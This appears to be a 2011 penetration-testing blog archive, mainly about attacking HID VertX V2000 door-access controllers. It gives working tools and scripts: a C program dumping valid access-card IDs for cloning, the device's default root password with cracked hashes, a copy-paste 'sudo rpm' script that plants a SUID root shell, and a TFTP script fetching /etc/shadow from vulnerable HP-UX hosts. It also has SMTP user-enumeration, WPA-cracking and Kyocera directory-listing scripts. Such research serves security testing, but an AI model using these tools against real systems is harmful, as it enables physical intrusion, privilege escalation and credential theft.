Friday, July 29, 2011

HID VertX V2000 Card Number Cache Tool (VertX_CacheQuery)

Last Article I discovered the cache on the HID VertX V2000, and learned that it contains all of the provisioned cards (and some non-provisioned cached cards). So if you gain access to the V2000, you can read all of the valid cards from this cache and emulate those values to gain physical access to a location.

Last time i used a hexeditor to pull the data.. that did the job, but the none of the fields were really defined or anything. This tool will do some of that for you.

You can either transfer the /mnt/flash/config/AccessDB and /mnt/flash/config/IdentDB files via ftp to your linux box, and run VertX_CacheQuery or compile VertX_CacheQuery.c for the VertX V2000 and transfer the binary over to the V2000 and run it from there.

Here's your help:


# ./VertX_CacheQuery -h
HID VertX V2000 IdentDB/AccessDB Tool v0.1
By brad a.
---------------------------------
Options:
-i ID Value
-f Path to IdentDB (default: /mnt/flash/config/IdentDB)
-a Path to AccessDB (default: /mnt/flash/config/AccessDB
-p Dump data from AccessDB and IdentDB
Usage:
./VertX_CacheQuery -p
./VertX_CacheQuery -i 00000000 (NOT CURRENTLY WORKING)



and here is sample output:

# ./VertX_CacheQuery -p -f IdentDB -a AccessDB
HID VertX V2000 IdentDB/AccessDB Tool v0.1
By brad a.
---------------------------------
Using non-default IdentDB Path
Using non-default AccessDB Path
AccessDB Location: AccessDB
IdentDB Location: IdentDB
IdentDB Raw:

Entry 0:00263f9500000000000000000000000001000000fe00000000000000
Entry 1:00263f9600000000000000000000000003000000fe00000001000000
Entry 2:00263f9f00000000000000000000000005000000fe00000001000000
Entry 3:00263f8e00000000000000000000000007000000fe00000001000000
Entry 4:00263fa900000000000000000000000009000000fe00000000000000
Entry 5:00263f9c0000000000000000000000000b000000fe00000000000000
Entry 6:00

IdentDB Parsed:
Entry 0:
ID:00 26 3f 95 00 00
IdentDB Entry: 01
Enabled: Yes! (00)
Entry 1:
ID:00 26 3f 96 00 00
IdentDB Entry: 03
Enabled: No (01)
Entry 2:
ID:00 26 3f 9f 00 00
IdentDB Entry: 05
Enabled: No (01)
Entry 3:
ID:00 26 3f 8e 00 00
IdentDB Entry: 07
Enabled: No (01)
Entry 4:
ID:00 26 3f a9 00 00
IdentDB Entry: 09
Enabled: Yes! (00)
Entry 5:
ID:00 26 3f 9c 00 00
IdentDB Entry: 0b
Enabled: Yes! (00)

AccessDB Raw:

Entry 0:010000000f000000020000000000000000000000000000002855254eff0bbd72000000000000000000000000
Entry 1:030000000f000000020000000000000000000000000000002495254eff0bbd72000000000000000008000000
Entry 2:050000000f00000002000000000000000000000000000000c46c264eff0bbd72000000000000000008000000
Entry 3:070000000f000000020000000000000000000000000000006076264eff0bbd72000000000000000008000000
Entry 4:090000000f00000003000000000000000000000000000000c09d264eff0bbd72000000000000000020000000
Entry 5:0b0000000f00000004000000000000000000000000000000bca1264eff0bbd72000000000000000020000000
Entry 6:00

AccessDB Parsed:
Entry 0:
AccessDB Entry: 01
Door Access Rights: 02
Entry 1:
AccessDB Entry: 03
Door Access Rights: 02
Entry 2:
AccessDB Entry: 05
Door Access Rights: 02
Entry 3:
AccessDB Entry: 07
Door Access Rights: 02
Entry 4:
AccessDB Entry: 09
Door Access Rights: 03
Entry 5:
AccessDB Entry: 0b
Door Access Rights: 04




and the source:

# cat VertX_CacheQuery.c
/*
 VertX_CacheQuery -
  tool that queries the cache on a HID VertX V2000
  By Brad Antoniewicz
*/


#include <stdio.h>
#include <string.h>
#include <stdint.h>

float VERSION=0.1;

struct rec {
 uint8_t position;
};


void help(char name[]) {
 printf("Options:\n");
 printf("\t-i <ID>\t\tID Value\n");
 printf("\t-f <IdentDB>\tPath to IdentDB (default: /mnt/flash/config/IdentDB)\n");
 printf("\t-a <AccessDB>\tPath to AccessDB (default: /mnt/flash/config/AccessDB\n");
 printf("\t-p\t\tDump data from AccessDB and IdentDB\n");
 printf("Usage:\n");
 printf("\t %s -p\n",name);
 printf("\t %s -i 00000000 (NOT CURRENTLY WORKING)\n",name);

}

/*
Sample IdentDB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
00 26 3F 95 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 FE 00 00 00 00 00 00 00

Field 0 - 3 = Card ID
Field 16 = Entry Number
Field 20 = Seems to remain constant (FE)
Field 24 = Enabled(00)/Disababled(01)?
*/
int readident(char *ident_file) {
 int    LENGTH_CARDID=6,
  LENGTH_ENTRY=28,
  FIELD_CARDID=0,
  FIELD_ENTRY=16,
  FIELD_ENABLED=24,
  OFFSET=0;
 FILE *ident_ptr;
 int counter=1,location,entries=0,x,y;
 struct rec my_record;

 ident_ptr = fopen(ident_file,"rb");
 if (!ident_ptr) {
  printf("ERROR: Could not open %s\n",ident_file);
  return 1;
 }
 printf("IdentDB Raw:\n\t");
 while (!feof(ident_ptr)) {
  if (counter == 1 || counter % LENGTH_ENTRY == 1) {
        printf("\n\tEntry %d:",entries);
        entries++;
  }
  fread(&my_record,sizeof(struct rec),1,ident_ptr);
  printf("%02x",my_record.position);
  counter++;
 }
 fseek(ident_ptr,0,SEEK_CUR);
 printf("\n\nIdentDB Parsed:\n");
 counter = 1;
 for(x=0; x < entries - 1; x++) {
  printf("\tEntry %d:\n",x);

  printf("\t\tID:");
  fseek(ident_ptr,OFFSET + FIELD_CARDID ,SEEK_SET);
  for(y=1; y<=LENGTH_CARDID; y++) {
        fread(&my_record,sizeof(struct rec),1,ident_ptr);
        printf("%02x ",my_record.position);
  }
  printf("\n");

  fseek(ident_ptr,OFFSET + FIELD_ENTRY, SEEK_SET);
  fread(&my_record,sizeof(struct rec),1,ident_ptr);
  printf("\t\tIdentDB Entry: %02x\n",my_record.position);

                fseek(ident_ptr,OFFSET + FIELD_ENABLED, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,ident_ptr);
  if (my_record.position == 00)
        printf("\t\tEnabled: Yes! (%02x)\n",my_record.position);
  else if (my_record.position == 01)
        printf("\t\tEnabled: No (%02x)\n",my_record.position);
  else
        printf("\t\tEnabled: Unknown Status!(%02x)\n",my_record.position);
  OFFSET = OFFSET + LENGTH_ENTRY;

 }
 printf("\n");
 fclose(ident_ptr);

}

/*
Sample Access DB Entry
 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
01 00 00 00 0F 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 55 25 4E FF 0B BD 72 00 00 00 00 00 00 00 00 00 00 00 00
Field 0 = Entry Number (Matches IdentDB)
Field 4 = Seems to remain constant (0F)
Field 8 = Door Access (Defined in /mnt/flash/config/DoorGroups)
*/

int readaccess(char *access_file) {
        int     LENGTH_CARDID=6,
                LENGTH_ENTRY=44,
                FIELD_CARDID=0,
                FIELD_ENTRY=0,
                FIELD_DOORS=8,
                OFFSET=0;
        FILE *access_ptr;
        int counter=1,location,entries=0,x,y;
        struct rec my_record;

        access_ptr = fopen(access_file,"rb");
        if (!access_ptr) {
                printf("ERROR: Could not open %s\n",access_file);
                return 1;
        }
        printf("AccessDB Raw:\n\t");
        while (!feof(access_ptr)) {
                if (counter == 1 || counter % LENGTH_ENTRY == 1) {
                        printf("\n\tEntry %d:",entries);
                        entries++;
                }
                fread(&my_record,sizeof(struct rec),1,access_ptr);
                printf("%02x",my_record.position);
                counter++;
        }
        fseek(access_ptr,0,SEEK_CUR);
        printf("\n\nAccessDB Parsed:\n");
        counter = 1;
        for(x=0; x < entries - 1; x++) {
                printf("\tEntry %d:\n",x);

                fseek(access_ptr,OFFSET + FIELD_ENTRY, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,access_ptr);
                printf("\t\tAccessDB Entry: %02x\n",my_record.position);

                fseek(access_ptr,OFFSET + FIELD_DOORS, SEEK_SET);
                fread(&my_record,sizeof(struct rec),1,access_ptr);
  printf("\t\tDoor Access Rights: %02x\n",my_record.position);

                OFFSET = OFFSET + LENGTH_ENTRY;

        }
        printf("\n");
        fclose(access_ptr);

}

int main(int argc, char *argv[]) {
 int c=0, x=0, y=0, l=0, ch=0, parse=0;
 int buffsize=128;
 char card_val[buffsize + 1];
 char accessDB[129] = "/mnt/flash/config/AccessDB";
 char identDB[129] = "/mnt/flash/config/IdentDB";

 printf("HID VertX V2000 IdentDB/AccessDB Tool v%1.1f\n",VERSION);
 printf("By brad a.\n");
 printf("---------------------------------\n");
 if (argc < 2 ) {
  help(argv[0]);
  return 0;
 }

 for ( x = 0; x < argc; x++) {
  switch( (int)argv[x][0]) {
        case '-':
                l = strlen(argv[x]);
                for ( y = 1; y < l; ++y) {
                        ch = (int)argv[x][y];
                        switch(ch) {
                                case 'i':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(card_val,argv[x+1],buffsize);
                                                printf("Using Card Value: %s\n",card_val);
                                                printf("THIS DOESNT WORK ATM!\n");
                                        }
                                        break;
                                case 'f':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(identDB,argv[x+1],buffsize);
                                                printf("Using non-default IdentDB Path\n");
                                        }
                                        break;
                                case 'a':
                                        if (strlen(argv[x+1]) < buffsize) {
                                                strncpy(accessDB, argv[x+1], buffsize);
                                                printf("Using non-default AccessDB Path\n");
                                        }
                                        break;
                                case 'p':
                                        parse=1;
                                        break;
                                default:
                                        help(argv[0]);
                                        return 1;
                        }
                }
        break;
  }
 }
 if (strlen(card_val) < 6 && !parse) {
  printf("ERROR: Card Value must be at least 6 hex chars long\n");
  return 1;
 }

 printf("AccessDB Location: %s\n",accessDB);
 printf("IdentDB Location: %s\n",identDB);
 if (parse) {
  readident(identDB);
  readaccess(accessDB);
 }



  return 0;
}

Thursday, July 21, 2011

Leveraging 'sudo rpm' for privilege escalation

This post is a bit of a break from all the VertX stuff I've been doing. Awhile ago I wrote this little copy and pasteable thing to aid out on internal pen tests. On one engagement, I had local access to a system but not root. The user i was logged in as also had the ability to use rpm via sudo. So an easy priv escalation method is to install an RPM that contains a SUID shell.

If you copy and paste it into a shell on your local system, it'll create the rpm (your rpm will be ~/rpm/RPMS/i386/suidshell/suidshell-0.1-1.i386.rpm), then just copy it over to your target system. After you install it, the shell will be in /tmp.

cd ~/
mkdir rpm rpm/BUILD rpm/RPMS rpm/SOURCES rpm/SPECS rpm/SRPMS rpm/tmp
cat > .rpmmacros <<EOF
%_topdir               /root/rpm
%_tmppath              /root/rpm/tmp
EOF
cd rpm
cat > SPECS/suidshell.spec << --EOF--
%define name suidshell
%define version 0.1
%define release 1

Summary: SUID bash shell
Name: %{name}
Version: %{version}
Release: %{release}
License: LGPL
Group: System Environment/Libraries
Vendor: Brad Antoniewicz

%Description
This was originally designed to so that if a user has 'sudo rpm' access they can easily escalate privs to root.

-Depends
requires BASH in /bin/bash


Creates a root shell in /tmp

By Brad Antoniewicz
Foundstone

%build
cat > suidshell.c << EOF
#include <stdio.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
gcc -o suidshell suidshell.c

%install
install suidshell /tmp/suidshell
chown root:root /tmp/suidshell
chmod 6755 /tmp/suidshell

%files
/tmp/suidshell

--EOF--
rpmbuild -ba SPECS/suidshell.spec

Wednesday, July 20, 2011

HID VertX V2000 - Heartbeats, Provisioning Access, and Local Cache

If you've been following my last couple posts, you know that the newest thing on my desk is the HID VertX V2000. I downloaded the trial version of WebBrix and set up my own little lab to play around with.

I wanted to figure out how the VertX handled allowing/disallowing access to specific cards. The first thing I did was set up Wireshark to check the traffic between WebBrix and the VertX. To my surprise, everything between the two is unencrypted, so no big hurdle there.

The first thing I noticed was that the VertX sends a heartbeat to WebBrix every 20 seconds (configurable option) to make sure its still connected. I sort of expected this since the heartbeat configuration was mentioned throughout the deployment documentation, so after letting communication happen naturally for a few minutes, it was easy to pick out which traffic was heartbeat related. I haven't deciphered all the fields but this is what is sent:

    Heartbeat From VertX to WebBrix: 1080;0087;V2000;IP_ADDR;MAC_ADDR;VertXController;05:53:17 IST 07/20/2011;
    Response From WebBrix to VertX:
    0080;0010;
I put an authorized card up to the reader and watched the communication in wireshark and this is what came across:

    Authorized Card Read from VertX to WebBrix 1065;0084;1060;000304;1;20;2;20;245;05:54:16 IST 07/20/2011;MAC_ADDR;0;0;5^
    WebBrix Response:
    0067;0010;
Fair enough, next was an unauthorized card read:

    Unauthorized Card Read from VertX to WebBrix: 1065;0118;1060;000306;2;20;1;22;245;06:17:45 IST 07/20/2011;MAC_ADDR;0;0;00263F9C000000000000000000000000;26^
    WebBrix Response:
    0067;0010;


So that was confusing to me. How could an authorized and unauthorized card both produce the same response?

It just so happened that last night we had our monthly office bar visit, and i was discussing the responses with Par, one of our IR rockstars. By performing a couple simple test, it was clear that the VertX cached card values locally:

  • Read successful card. Observe door unlock
  • Unplug network cable. Observe door unlock
  • Reboot VertX. Observe door unlock

So I must have missed something in the initial handshake. I took a unprovisioned card and enabled access for it this is what i saw (new card ID is 00263F8E):

    Provisioned new card (WebBrix to VertX)
    0023;0026;0;1;00263F8E;-1;
    VertX Response:
    1023;0016;-1016;
    WebBrix Response:
    0024;0104;0;1;00263F8E;0;1;7;2;0;0;0;0;0;0;0;0;0;0;0;0;2011/07/20-06:32:00;2030/12/31-23:59:59;0;0;0;0;1
    VertX Response:
    1024;0012;0;

So it looks like the backend system (WebBrix) sends access data when its provisioned, then the VertX caches it.

Local Storage of Card Values

A quick look on the VertX revealed that there are two files which store this data:

/mnt/data/config/AccessDB
/mnt/data/config/IdentDB

I haven't figured out exactly what the AccessDB does (presumably maps cards to doors?), but if you open the IdentDB in a hex editor you can see the valid CardIDs:


This means, if you have access to a VertX V2000, you can easily pull this file and have the entire cache of valid card IDs!

Next on the list: Seeing what happens when you manually add a card value into the IdentDB.

Tuesday, July 19, 2011

HID VertX V2000 Default Password

In my last post I showed you how to identify HID VertX controllers on the network. Once you identify them, the next step is to figure out how to gain access. That's not really difficult since they have a default password set for the root account. The VertX controller is primarily managed via the web interface which is relies on the admin account for authentication. From this web interface, you can change the password on the admin account, but never is there a mention of the root account.

The system has Telnet, HTTP, and FTP enabled by default, all of which relies on the /etc/passwd for authentication. User manuals say to use the admin account for everything, but if you look at management software provided by third parties, you'll see a lot of them use this root account for upgrading firmware and remote configuration.

As mentioned in my previous article, these systems handle physically proximity card access. Since they run Linux, I'm hoping I can find the processes that are responsible for relaying the card data from the reader to the backend, and the processes responsible for doing fun stuff like opening doors. If i can, then i bet writing a rootkit to do my bidding wouldnt be all that hard :)

Here are the goodies:


[root@VertXController /]5748# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:Administrator:/:/bin/sh
nobody:*:99:99:Nobody:/:
modem1:$1$$Y9rDiTVKDBq0qyRvfJnpd/:500:503:Linux User,,,:/:/bin/sh
router1:$1$$8gZZvhvWWFKJ7whpMxbQn/:501:503:Linux User,,,:/:/bin/sh
admin:$1$$qRPK7m23GJusamGpoGLby/:502:504:Linux User,,,:/:/bin/sh


The password is a tough one:


root@bt:/pentest/passwords/john# ./john vertx.passwd
Loaded 4 password hashes with no different salts (FreeBSD MD5 [32/32])
router1 (router1)
modem1 (modem1)
(admin)
pass (root)
guesses: 4 time: 0:00:00:03 100.00% (2) (ETA: Thu Jul 14 15:00:01 2011) c/s: 9390 trying: pass

Thursday, July 14, 2011

Identifying and Querying HID VertX Controllers On The Network - VertX_Query.py

At the most basic level, HID VertX Access Controllers work in proximity card access systems and take the data provided by the reader (usually presented via the Weigand Protocol) and format it so a backend system can process the data. The backend system will look up the card ID provided and see if it has access to the particular door its requesting access from. The backend system makes that decision then sends it back over to the controller which then opens the door, or keeps it locked.

You can guess why these systems could be important to protect on a network. Here are a couple ways to identify them and a tool i wrote to help pull some data from them.

1. Standard Port Scan for TCP 4050: The first way is to do a quick sweep for any hosts with a service on TCP 4050.


root@bt:/VertX# nmap -sS -p 4050 --open 192.168.1.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-07-14 14:54 EDT
Nmap scan report for 192.168.1.50
Host is up (0.00090s latency).
PORT STATE SERVICE
4050/tcp open unknown
MAC Address: 00:06:8E:FF:FF:FF (HID)

Nmap done: 256 IP addresses (22 hosts up) scanned in 2.97 seconds


2. Check OUIs: If you're on the same network, or can otherwise look at the system's MAC address, HID has its own OUI(s) allocated to them.

3. Telnet Banner: Obvious, but not always enabled.

root@bt:/# telnet 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Axis Developer Board LX release 2.2.0
Linux 2.4.26 on a cris (0)

VertXController login:


4. VertX Tool Box Discovery: HID has a Windows Client called the Discovery Client.

5. VertX_Query.py: This is a simple tool I wrote to identify VertX Controllers on a local network, and perform some other basic functions.

If you're within the same broadcast domain you can send out a broadcast, otherwise just define a suspected IP and it'll pull any information it can:

root@bt:/VertX# ./VertX_Query.py -h 255.255.255.255 -m 01
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

[+] Got Response
Type: VertXController - V2000
Version: 2.2.7.18
IP Address: 192.168.1.50
MAC Address: 00:06:8E:FF:FF:FF



The tool also can make the Comm LED blink on/off by defining a 02 and 03 message type.

Here's the help:


root@bt:/VertX# ./VertX_Query.py
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

Options:
-h host
-p port (default 4070)
-v verbose
-m Message Type code

Supported Message Types:
01 Discover
02 command_blink_on
03 command_blink_off


Here's the code:

root@bt:/VertX# cat VertX_Query.py
#!/usr/bin/env python
#
# VertX_Query.py - HID VertX Discovery and Query Tool
# by brad antoniewicz
#


import struct
import socket
import binascii
import getopt
import sys
import random
from socket import *

def usage():
        help = "Options:\n"
        help += "\t-h <host>\t host\n"
        help += "\t-p <port>\t port (default 4070)\n"
        help += "\t-v \t\t verbose\n"
        help += "\t-m <code> \t Message Type code\n"
        help += "\nSupported Message Types:\n"
        help += "\t01 \t Discover\n"
        help += "\t02 \t command_blink_on\n"
        help += "\t03 \t command_blink_off\n"
        return help

def process_resp(recv_data,msg_type):
        # ('discovered;090;MAC_ADDR;VertXController;IP_ADDR;2;V2000;2.2.7.18;02/27/2007;', ('10.112.18.50', 4070))
        mac=0
        if msg_type == "01":
                data = recv_data[0].split(';')
                print "\tType:\t\t",data[3],"-",data[6]
                print "\tVersion:\t",data[7]
                print "\tIP Address:\t",data[4]
                print "\tMAC Address:\t",data[2]
                mac = data[2]
        return mac

def get_mac(host,port):
        msg_to_send = buildmsg("01",0,host,port)
        if msg_to_send:
                mac = sendmsg(host,port,binascii.unhexlify(msg_to_send),0,0,"01")
        return mac

def buildmsg(msg_type,verbose,host,port):
        # Basic Connect
        if msg_type == "01" :
                # discover;013;
                msg = "646973636f7665723b3031333b"
        elif msg_type == "02":
                # command_blink_on;042;MAC_ADDR;30;
                print "[+] Querying Host first to pull MAC address"
                msg = "command_blink_on;042;"
                msg += get_mac(host,port)
                msg += ";30;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_on"

        elif msg_type == "03":
                # command_blink_off;042;MAC_ADDR;1;
                print "[+] Querying host first to pull MAC address"
                msg = "command_blink_off;042;"
                msg += get_mac(host,port)
                msg += ";1;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_off"
        else :
                print "[!] Message Type", msg_type, "unsupported!"
                print "[!] Unsupported message types can only be used with -f\n"
                print "[!] Quiting..."
                return 0

        ## Get the length of our msg
        total_length = len(binascii.unhexlify(msg))

        datahex=msg

        if verbose:
                print '[Verbose] Message before Send:\nH(', total_length, '):', datahex, '\t | \tA:', binascii.unhexlify(datahex)

        return datahex


def sendmsg(host,port,hex_msg,verbose,count,msg_type):

        udp=0

        if ((msg_type == "01") or (msg_type == "02") or (msg_type == "03")):
                if verbose:
                        print '[Verbose] Message type indicates UDP'
                udp=1

        if udp:
                s = socket(AF_INET,SOCK_DGRAM)
                if ( host == "255.255.255.255"):
                        if verbose:
                                print '[Verbose] Destination is Broadcast'
                        s.bind(('',0))
                        s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
        else:
                s = socket.socket()

        s.settimeout(2)

        recv_data = 0

        if verbose:
                print '[+] Target',host,':',port
                print "[+] Sending msg with length",len(hex_msg)

        if udp:
                s.sendto(hex_msg,(host,port))
                error=0
        else:
                s.connect((host,port))
                error = s.sendall(hex_msg)

        if error:
                print "[!] Error:",error
        else:
                try:
                        if udp:
                                 recv_data = s.recvfrom(1024);
                        else:
                                recv_data = s.recv(1024);

                except:
                        if count:
                                print "[",count,":ALERT] Client timed out or didnt respond!"
                        else:
                                print "[ALERT] Client timed out or didnt respond!"

                if recv_data:
                        if verbose:
                                print '[+] Client Resp:'
                                print '\t ascii:\t',recv_data
                                if not udp:
                                        print '\t hex:\t',binascii.hexlify(recv_data)
                        else:
                                print "[+] Got Response"
                        mac = process_resp(recv_data,msg_type)
                else:
                        if count:
                                print "[",count,"] No recv_data"
                        else:
                                print "[+] No recv_data"

        if not udp:
                s.shutdown(2)

        s.close()
        if mac:
                return mac


def main():
        print "VertX_Query.py - HID VertX Discovery and Query Tool"
        print "by brad antoniewicz"
        print "--------------------------------------\n"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:m:vfs:at:",[])

        except getopt.GetoptError:
                print usage()
                return
        port = 4070
        host = cmdcode = verbose = fuzz = hex_str = dumbfuzz = ftype = vals = 0

        for o, a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = int(a)
                if o == "-m":
                        cmdcode = a
                if o == "-v":
                        verbose = 1
                if o == "-f":
                        fuzz = 1
                if o == "-s":
                        hex_str = a
                if o == "-a":
                        vals = 1
                if o == "-t":
                        ftype = a
        if (host == 0) or (cmdcode == 0):
                print usage()
                return

        if verbose and cmdcode:
                print "[Verbose] Command code: ",cmdcode

        if fuzz:
                fuzz_msg(host,port,cmdcode,hex_str,verbose,ftype,vals)
        elif dumbfuzz:
                dumbfuzzer(verbose)
        else:
                msg_to_send = buildmsg(cmdcode,verbose,host,port)
                if msg_to_send:
                        sendmsg(host,port,binascii.unhexlify(msg_to_send),verbose,0,cmdcode)
main()

Tuesday, July 12, 2011

SMTP VRFY Checker

There are a couple of these out there already, but for whatever reason they seem to crap out or provide incorrect results. I took a quick thirty seconds and wrote another one that seems to be more accurate the the others i played with.

root@bt:~ # cat smtp-vrfy-check.py
#!/usr/bin/env python
# simple smtp VRFY checker.. that works!
# by brad a.

import socket
import getopt
import sys
import re


def usage():
        help = "Options:\n"
        help += "\t-h <host>\t host\n"
        help += "\t-p <port>\t port (Default: 25)\n"
        help += "\t-u <filename>\t userlist\n"
        help += "\t-v \t verbose\n"
        return help


def main():
        print "SMTP VRFY Checker"
        print "By brad a."
        print "---------------------------------"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:u:v",[])

        except getopt.GetoptError:
                print usage()
                return
        port = 25
        verbose = host = userlist = 0

        for o, a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = int(a)
                if o == "-u":
                        userlist = a
                if o == "-v":
                        verbose = 1
        if (host == 0) or (userlist == 0):
                print usage()
                return

        print "[+] Establishing connection to",host,":",port
        s = socket.socket()
        s.settimeout(10)
        recv_data = 0
        s.connect((host,port))

        banner = s.recv(512)
        if verbose == 1:
                print "[V] Banner:"
                print banner

        file = open(userlist,'r')
        count = 1
        for line in file:

                if count % 10 == 0:
                        if verbose == 1:
                                print "[V] Attempted ten usernames, reconnecting"
                        s.shutdown(2)
                        s.close

                        s = socket.socket()
                        s.settimeout(10)
                        recv_data = 0
                        s.connect((host,port))

                        banner = s.recv(512)
                        if verbose == 1:
                                print "[V] Banner:"
                                print banner

                user = line.rstrip('\n')

                msg = "VRFY "
                msg += user
                msg += "\n"
                if verbose == 1:
                        print "[V] Sending:",msg

                error = s.sendall(msg)

                if error:
                        print "\n[!] Error with user",user,":", error
                else:
                        try:
                                recv_data = s.recv(512)
                        except socket.timeout:
                                print "[!] Timeout on user",user,"!"

                if recv_data:
#                       print recv_data
                        if re.match("250",recv_data):
                                print "[+] Found User:",user
                        if verbose == 1:
                                print "[+] User:",user,
                                if re.match("550",recv_data):
                                        print " -> Not Found!"
                                else:
                                        print " -> Unknown Error!"
                                print recv_data
                else:
                        print "\nNo recv_data!"
                count+=1

        file.close()
        s.shutdown(2)
        s.close()

main()

Friday, July 8, 2011

CVE-2004-0951: HP-UX Ignite-UX TFTP File Access Checker

There is an old problem detailed in CVE-2004-0951 where the make_recovery command in HP-UX mistakenly copies a bunch of files over to the TFTP directory. This could give an attacker some more info. I wrote this quick script to test/query a vuln server.

root@bt: ~ # cat hp_inite_tftp_checker.sh
#!/bin/bash
# HP-UX Ignite-UX TFTP File Access Checker
# by brad a.

echo "HP-UX Ignite-UX TFTP File Access Checker"
echo "by brad a."
echo "-------------------------------------------"

if [ $# != 1 ]; then
        echo "Usage:"
        echo -e "\t $@ <host>"
else

        if [ -d $1-ignite ]; then
                echo "[!] ERROR: $1-ignite already exists!"
        else
                mkdir $1-ignite/
                cd $1-ignite
                cat >> /tmp/hp_tftp_checker.tmp << EOF
connect $1
get /var/opt/ignite/config.local
get /var/opt/ignite/local/config
get /var/opt/ignite/local/host.info
get /var/opt/ignite/local/hw.info
get /var/opt/ignite/local/install.log
get /var/opt/ignite/local/manifest/manifest
get /var/opt/ignite/recovery/makrec.append
get /var/opt/ignite/recovery/ignite.defs
get /var/opt/ignite/server/preferences
get /var/opt/ignite/recovery/passwd.makrec
get /etc/shadow
get /etc/passwd
get /var/opt/ignite/recovery/passwd
get /var/opt/ignite/recovery/shadow
EOF

                tftp < /tmp/hp_tftp_checker.tmp 2&> /dev/null
                rm /tmp/hp_tftp_checker.tmp

                for i in *; do
                        if [ -s $i ] ; then
                                echo Found file: $i;
                        else
                                rm $i
                        fi
                done

                cd ..
                echo "Downloaded files are in $1-ignite"
        fi
fi

Thursday, July 7, 2011

Using crunch on the Amazon EC2 Cluster

in my previous post i described how to set up a amazon ec2 instance and get pyrit up and running.

even though its not the most sophisticated application, i find myself using crunch wordlist generator alot for simple, incremental brute forcing. However the latest version (3.0.1) doesn't compile out of the box on the ec2 instance. To get it working you have to:

edit the Makefile and change the LFS variable from:
LFS = $(shell getconf POSIX_V6_ILP32_OFFBIG_CFLAGS)
to
LFS = -m64 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64

You may have to install some additional packages via yum (sudo yum install glibc-devel), however if you followed the script in my previous post, that should be installed already.

I also made a quick edit to crunch.cpp to save the status of the generation to a local file every million words, this way i could resume it later on with the -s switch.

Then create a simple script that will start/resume the crack:

SAVE_FILE=session.save
MAX_LEN=14
CHARSET=lalpha-numeric

if [ -f $SAVE_FILE ]; then
    echo Found Save File!
    echo Setting start block to `cat $SAVE_FILE`
    crunch 1 $MAX_LEN -f /usr/bin/charset.lst $CHARSET -s `cat $SAVE_FILE`| pyrit -e SSID -r /home/ec2-user/file.cap -i - --all-handshakes attack_passthrough
else
    crunch 1 $MAX_LEN -f /usr/bin/charset.lst $CHARSET | pyrit -e SSID -r /home/ec2-user/file.cap -i - --all-handshakes attack_passthrough
fi

Wednesday, July 6, 2011

Kyocera Mita Scanner File Utility Query

I wrote this little script to pull directory listings from hosts running the Kyocera Mita Scanner File Utility.

I don't know if all Mita Scanner File Utilities are vulnerable to this, but it looks sexier then my crappy script :)

root@bt:~ # cat kyocera_check.py
#!/usr/bin/env python
# Cheapo check for Kyocera Mita File Utilities, pulls dir info from them
#
#
# Based off the of NASL defined here:
# http://www.nessus.org/plugins/index.php?view=single&id=34117
# by brad a.
import binascii
import getopt
import socket
import sys

def usage():
        help = "Options:\n"
        help += "\t-h <host>\tTarget host\n"
        help += "\t-p <port>\tPort (Default 31700)"
        help += "\t-d <dir>\t Directory (Default c:\\)"
        help += "\t-v\tverbose"
        return help

def parse_resp(recv_data):

        dirlist = binascii.hexlify(recv_data)

        count = 1

        offset = 20 # size of header

        count = offset
        newword=1
        print "[+]Found the Following Contents:"
        while(count<len(dirlist)):
                filename=""
                word_length = int(dirlist[count:count+2],16)
                #print "next word is",word_length,"characters long"
                count+=2
                char_count=1
                while(char_count<=word_length):
                        filename += binascii.unhexlify(dirlist[count:count+2])
                        char_count+=1
                        count+=2
                print "\t",filename




def main():
        print "Kyocera Mita Scanner File Utility Query"
        print "by brad a."
        print "----------------------------------------"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:d:",[])
        except getopt.GetoptError:
                print usage()
                return

        port = 37100
        directory = "c:\\"
        host = verbose = 0

        for o,a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = a
                if o == "-d":
                        directory = a

        if (host == 0):
                print usage()
                return


        s = socket.socket()
        s.settimeout(2)
        recv_data = 0

        print '[+] Targeting',host,':',port

        s.connect((host,port))

        try:
                recv_data = s.recv(1024)
        except socket.timeout:
                print "[ALERT] Client timed out!"

        if recv_data:
                if verbose:
                        print '[+] Got Banner:', recv_data
                        print '[+] in hex:', binascii.hexlify(recv_data)

                req = '3801' # header
                req += "%04x" % 4
                req += binascii.hexlify(directory)
                datahex = "%04x" % len(binascii.unhexlify(req))
                datahex += req



                if verbose:
                        print '[+] To send:'
                        print '[+] H:',datahex
                        #print '[+] A:',binascii.unhexlify(datahex)


                error = s.sendall(binascii.unhexlify(datahex))

                if error:
                        print "[!] Error:",error
                else:
                        try:
                                recv_data = s.recv(1024)
                        except socket.timeout:
                                print "[ALERT] Timeout!"
                                return

                        if recv_data:
                                if verbose:
                                        print '[+] Got response:'
                                        print '[+] H:', binascii.hexlify(recv_data)
                                        #print '[+] A:', recv_data

                                parse_resp(recv_data)



        else:
                print "[ALERT] Didn't Find banner!"

        s.shutdown(2)
        s.close()
main()

Tuesday, July 5, 2011

